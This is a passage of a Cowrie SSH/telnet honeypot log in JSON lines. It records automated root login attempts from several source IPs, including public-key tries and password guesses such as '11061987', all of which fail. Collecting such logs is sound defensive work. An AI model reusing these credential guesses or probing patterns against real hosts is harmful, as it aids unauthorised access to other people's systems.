@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:37.679456Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:a5:23:b6:bc:e8:cd:d3:74:6f:1f:f2:68:dc:be:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOCX/C9vll1UUXaweJLXVPMrzBeZL0MmXHaFmCLvkwPyrNryLtHIYX17JVbPkumH56a5ismR+VabXpNIkDIPMCVC6NNrNvFPAjh+Xspte3FcJrFoasz2prChivVz0rVBfJrz4s1sN4zkEQNpW2Aztt8XSnX/7xZmxl3qJAf/S7oS4ErkOooiar9bT2L9z4/3dgcjRXGv5wyot3vT/9xl3T+qWMmJo3YH0XTUH6QiM11Bed4iHhG/UE6ayjjgaPr1YpaARYpqOvkyTgcyfXwr9LMsRkJbKwb+sjWFJogc49GzYj5l2Xfyk/QTTK0zvzmRANWm7wx9KEV6EaXlJJbMSB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:a5:23:b6:bc:e8:cd:d3:74:6f:1f:f2:68:dc:be:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.048594Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:a5:23:b6:bc:e8:cd:d3:74:6f:1f:f2:68:dc:be:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOCX/C9vll1UUXaweJLXVPMrzBeZL0MmXHaFmCLvkwPyrNryLtHIYX17JVbPkumH56a5ismR+VabXpNIkDIPMCVC6NNrNvFPAjh+Xspte3FcJrFoasz2prChivVz0rVBfJrz4s1sN4zkEQNpW2Aztt8XSnX/7xZmxl3qJAf/S7oS4ErkOooiar9bT2L9z4/3dgcjRXGv5wyot3vT/9xl3T+qWMmJo3YH0XTUH6QiM11Bed4iHhG/UE6ayjjgaPr1YpaARYpqOvkyTgcyfXwr9LMsRkJbKwb+sjWFJogc49GzYj5l2Xfyk/QTTK0zvzmRANWm7wx9KEV6EaXlJJbMSB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.052613Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:ac:c1:a0:cb:69:a2:5f:4f:64:5c:64:8b:d1:0d:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc4nWtM1YK44ZBR6L5tyOwbVrszMOmS7FaIzfFuFkEODEiRn/v4D8gPWT66CaNBkGkqnVjf22v9sOiU2hv4xbwWkVdFdCLO01KhQRYNaOImtb4trJ33m+SaLS3RYfe7LxJkJjEeU0YhN8xUwHIDaU9vGZt2rxxrDmeFPyuUU2Su0z1ZvfsVMkzbxeGVWl7nnfjTwDDNXcy6UsuG/C3qAkKMzLzcIkhzZt8JaChtWICM28yUujNtF0Tmp13sCYpkUvbLqocpGC8And1B0MD1U8W3uIzoTBOpwD/y1tB7kbpfybgWXQGe8uWzqFqblrVscIfQYjUTfzcUAj8LrIisyQF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:ac:c1:a0:cb:69:a2:5f:4f:64:5c:64:8b:d1:0d:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.131774Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:ac:c1:a0:cb:69:a2:5f:4f:64:5c:64:8b:d1:0d:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc4nWtM1YK44ZBR6L5tyOwbVrszMOmS7FaIzfFuFkEODEiRn/v4D8gPWT66CaNBkGkqnVjf22v9sOiU2hv4xbwWkVdFdCLO01KhQRYNaOImtb4trJ33m+SaLS3RYfe7LxJkJjEeU0YhN8xUwHIDaU9vGZt2rxxrDmeFPyuUU2Su0z1ZvfsVMkzbxeGVWl7nnfjTwDDNXcy6UsuG/C3qAkKMzLzcIkhzZt8JaChtWICM28yUujNtF0Tmp13sCYpkUvbLqocpGC8And1B0MD1U8W3uIzoTBOpwD/y1tB7kbpfybgWXQGe8uWzqFqblrVscIfQYjUTfzcUAj8LrIisyQF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.135553Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:8d:8e:fc:ff:c8:ae:32:91:55:38:df:bd:a2:ab:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwZD5ltNNU9+NcK/Fjyx/G5g/0Vxq7WC0uvPi6FFpR67LtWIIUYQMCjo2TXovtuIEhmPVU/33e+NbcoV0LOyLHkbPVmdHy0Knd5gmIvEo+EYgWnyhK/Rxjgc3Eu1KkoxCSyDsJpH4O7ScLyDmQ3UivEaTcKJ4WI/ZEJUPqtG3Bvg0J1Z8EeYIg5Fxb/xEx2bijKBvzG3KrG7j8b+uhYbcH6bfieE9/VulL9vCIi0lE6uG4kI4WB0LK9YvOjE2wp+8lLUfN4g8E1b70VzWM+YyNc/y6G3YU6Wy9MOefDY3e/Mo814pfGmT12nxiulMx1r8xu7uTCBJREgBMUgSuH8H47PiNYqpUC3+7P9bYSurDlsmI+Iqt0ceU/IaUkyC5ZLl9PRM+gYSCMqMI/ed3y/PVI5wLJ85x1CCke3im6xY3FPL69SzoVo7teKK+M/db/bmzo98XTh4fMm0UHRSnPG+eZgLLroXmXNlPw0nnEz9iOfib817lLt/0YgYW75KZC7OZYOmkhei4TxVJRKpw9T/ZdRBI9reta89zzXkI/n3e1B9FDtFtVy8L9CysL1dNvR3NTyFqq2KJ5dUMMhWdqBzHOmpgqNd+tFYq8JvRvy/uoXGFKinY74/IK3uJHnO399PDxdbPr4jnm16rkEzF9BBBlN2umKDBmkXwIv1XlrSjJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:8d:8e:fc:ff:c8:ae:32:91:55:38:df:bd:a2:ab:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.216535Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:8d:8e:fc:ff:c8:ae:32:91:55:38:df:bd:a2:ab:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwZD5ltNNU9+NcK/Fjyx/G5g/0Vxq7WC0uvPi6FFpR67LtWIIUYQMCjo2TXovtuIEhmPVU/33e+NbcoV0LOyLHkbPVmdHy0Knd5gmIvEo+EYgWnyhK/Rxjgc3Eu1KkoxCSyDsJpH4O7ScLyDmQ3UivEaTcKJ4WI/ZEJUPqtG3Bvg0J1Z8EeYIg5Fxb/xEx2bijKBvzG3KrG7j8b+uhYbcH6bfieE9/VulL9vCIi0lE6uG4kI4WB0LK9YvOjE2wp+8lLUfN4g8E1b70VzWM+YyNc/y6G3YU6Wy9MOefDY3e/Mo814pfGmT12nxiulMx1r8xu7uTCBJREgBMUgSuH8H47PiNYqpUC3+7P9bYSurDlsmI+Iqt0ceU/IaUkyC5ZLl9PRM+gYSCMqMI/ed3y/PVI5wLJ85x1CCke3im6xY3FPL69SzoVo7teKK+M/db/bmzo98XTh4fMm0UHRSnPG+eZgLLroXmXNlPw0nnEz9iOfib817lLt/0YgYW75KZC7OZYOmkhei4TxVJRKpw9T/ZdRBI9reta89zzXkI/n3e1B9FDtFtVy8L9CysL1dNvR3NTyFqq2KJ5dUMMhWdqBzHOmpgqNd+tFYq8JvRvy/uoXGFKinY74/IK3uJHnO399PDxdbPr4jnm16rkEzF9BBBlN2umKDBmkXwIv1XlrSjJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.221355Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:66:e6:9b:25:82:26:ef:5b:65:30:06:93:71:39:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXpEtLylYgFJOa9CTnthl7Hvpg+uOgUyGpTroZcol0efYYCFomdXMa6MVtTuJPLLklVs0g1jkJzoKt0zb749A1Y0xA2hbAiwpqu/8ssel8z9Knqa6fZFJOqxJhfrr2AvaWMneOo/5uLAG6lGB9ulv27DrmFJypAq6lg3HBq7WKHtUe2vAIkKNP9LowIE/4iHSy42k3Me8A76fId+86pq96X37/jX7Tuv3aKPBeJPTufUJkNgwU0DvXam45F79lQGS5layCHkERyPQK10jxxzV6rTWTrmuvDlOrOjBB5IycBUviFvbg0YNSoi1VidFe8M1S/wJW+D6QTlSFJTvNJuHfhErxY9yf2UHGA9oW78hOP5mTjxClgVHzNvj8y3jCy3UJEBvz6Wnl1Ll6FuIUT7ElIYAcADcP5HKPLVGj/PD/creB4AD/jWe7X6Gup9RLuceYuRVoTep+/jOlgJ4BYwGW5e/ml3INW+z6a7yvf1+asBPdcUnsO98+6LNYUvG8x6UEu90KflSAD74i2D6QWqV2+fL+cmGUmxXxtLfhouetmzkCGRXhzUFf0hZwHItDf87rNgGgDAfX4IhcL5tq96WeltUZA+RQ+pUjHoQCjrBpv73XmbIRz6g6sG3E3Ab4N3FnH6nwH+3LMh5cinBGjS0vauyFxbQt/ADoGS+6N6IjKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:66:e6:9b:25:82:26:ef:5b:65:30:06:93:71:39:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.301190Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:66:e6:9b:25:82:26:ef:5b:65:30:06:93:71:39:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXpEtLylYgFJOa9CTnthl7Hvpg+uOgUyGpTroZcol0efYYCFomdXMa6MVtTuJPLLklVs0g1jkJzoKt0zb749A1Y0xA2hbAiwpqu/8ssel8z9Knqa6fZFJOqxJhfrr2AvaWMneOo/5uLAG6lGB9ulv27DrmFJypAq6lg3HBq7WKHtUe2vAIkKNP9LowIE/4iHSy42k3Me8A76fId+86pq96X37/jX7Tuv3aKPBeJPTufUJkNgwU0DvXam45F79lQGS5layCHkERyPQK10jxxzV6rTWTrmuvDlOrOjBB5IycBUviFvbg0YNSoi1VidFe8M1S/wJW+D6QTlSFJTvNJuHfhErxY9yf2UHGA9oW78hOP5mTjxClgVHzNvj8y3jCy3UJEBvz6Wnl1Ll6FuIUT7ElIYAcADcP5HKPLVGj/PD/creB4AD/jWe7X6Gup9RLuceYuRVoTep+/jOlgJ4BYwGW5e/ml3INW+z6a7yvf1+asBPdcUnsO98+6LNYUvG8x6UEu90KflSAD74i2D6QWqV2+fL+cmGUmxXxtLfhouetmzkCGRXhzUFf0hZwHItDf87rNgGgDAfX4IhcL5tq96WeltUZA+RQ+pUjHoQCjrBpv73XmbIRz6g6sG3E3Ab4N3FnH6nwH+3LMh5cinBGjS0vauyFxbQt/ADoGS+6N6IjKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.305458Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:87:7e:9c:35:66:a8:cb:eb:72:3e:28:f2:13:11:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH3rm/AD4G9y0smvRPU5jnUbK9R/Pr319ZvbHAywXXw9d1jd1eoNU1XFmhsvSEXF1JSILe2Nn2DWc2LLh7c7npMmq74j+DZUq5dd40GqITPQ0hSik5pEqWn7DZhW89y8hRZT0rQohyYBJmfy1siX4HbB8Bum1Fw4RpW7vntK7pEwYjWcFatTx3B4+sdDfq83Z2XwlHwo9Rdw9goxmiyByoL1INo35gphZDCdzs/715oqzzJxqhzMwT/yrIawhv2gSsiz+iYEymP3EXCr/UjpNDnfUtx3F43pcsFi1hjalC4h140xgq7QtYba2Iz19EID8icoKRIKUAhK1+Uct89ZL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:87:7e:9c:35:66:a8:cb:eb:72:3e:28:f2:13:11:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.384868Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:87:7e:9c:35:66:a8:cb:eb:72:3e:28:f2:13:11:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH3rm/AD4G9y0smvRPU5jnUbK9R/Pr319ZvbHAywXXw9d1jd1eoNU1XFmhsvSEXF1JSILe2Nn2DWc2LLh7c7npMmq74j+DZUq5dd40GqITPQ0hSik5pEqWn7DZhW89y8hRZT0rQohyYBJmfy1siX4HbB8Bum1Fw4RpW7vntK7pEwYjWcFatTx3B4+sdDfq83Z2XwlHwo9Rdw9goxmiyByoL1INo35gphZDCdzs/715oqzzJxqhzMwT/yrIawhv2gSsiz+iYEymP3EXCr/UjpNDnfUtx3F43pcsFi1hjalC4h140xgq7QtYba2Iz19EID8icoKRIKUAhK1+Uct89ZL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.388791Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:38.468319Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.53049612045288,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:53.156756Z","src_ip":"135.148.14.151","session":"18e51db9896e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.83.13.54","src_port":58398,"dst_ip":"10.17.0.5","dst_port":23,"session":"09e75d412b05","protocol":"telnet","message":"New connection: 47.83.13.54:58398 (10.17.0.5:23) [session: 09e75d412b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:48:35.678867Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":57500,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a46d49ab61","protocol":"ssh","message":"New connection: 38.93.206.2:57500 (10.17.0.5:22) [session: 02a46d49ab61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:48:38.373952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:48:38.387636Z","src_ip":"38.93.206.2","session":"02a46d49ab61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:48:38.438723Z","src_ip":"38.93.206.2","session":"02a46d49ab61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11061987","message":"login attempt [root/11061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:48:38.593865Z","src_ip":"38.93.206.2","session":"02a46d49ab61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:48:39.648213Z","src_ip":"38.93.206.2","session":"02a46d49ab61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32800,"dst_ip":"159.203.135.109","dst_port":23,"session":"c258b6306794","protocol":"telnet","message":"New connection: 135.148.14.151:32800 (159.203.135.109:23) [session: c258b6306794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:48:59.156715Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":36540,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0769bf617f6","protocol":"ssh","message":"New connection: 103.82.20.28:36540 (159.203.135.109:22) [session: d0769bf617f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:00.969948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:00.975147Z","src_ip":"103.82.20.28","session":"d0769bf617f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:01.234069Z","src_ip":"103.82.20.28","session":"d0769bf617f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"310588","message":"login attempt [root/310588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:02.014097Z","src_ip":"103.82.20.28","session":"d0769bf617f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:03.277263Z","src_ip":"103.82.20.28","session":"d0769bf617f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.608091115951538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:06.286836Z","src_ip":"47.83.13.54","session":"09e75d412b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":39136,"dst_ip":"10.17.0.5","dst_port":22,"session":"31cf5d764224","protocol":"ssh","message":"New connection: 193.37.70.224:39136 (10.17.0.5:22) [session: 31cf5d764224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:10.916770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:10.922214Z","src_ip":"193.37.70.224","session":"31cf5d764224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:11.012866Z","src_ip":"193.37.70.224","session":"31cf5d764224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31051991","message":"login attempt [root/31051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:11.283854Z","src_ip":"193.37.70.224","session":"31cf5d764224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:12.376097Z","src_ip":"193.37.70.224","session":"31cf5d764224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":35198,"dst_ip":"159.203.135.109","dst_port":22,"session":"610f0c4a5e5c","protocol":"ssh","message":"New connection: 193.228.128.84:35198 (159.203.135.109:22) [session: 610f0c4a5e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:13.412966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:49:13.417638Z","src_ip":"193.228.128.84","session":"610f0c4a5e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-ni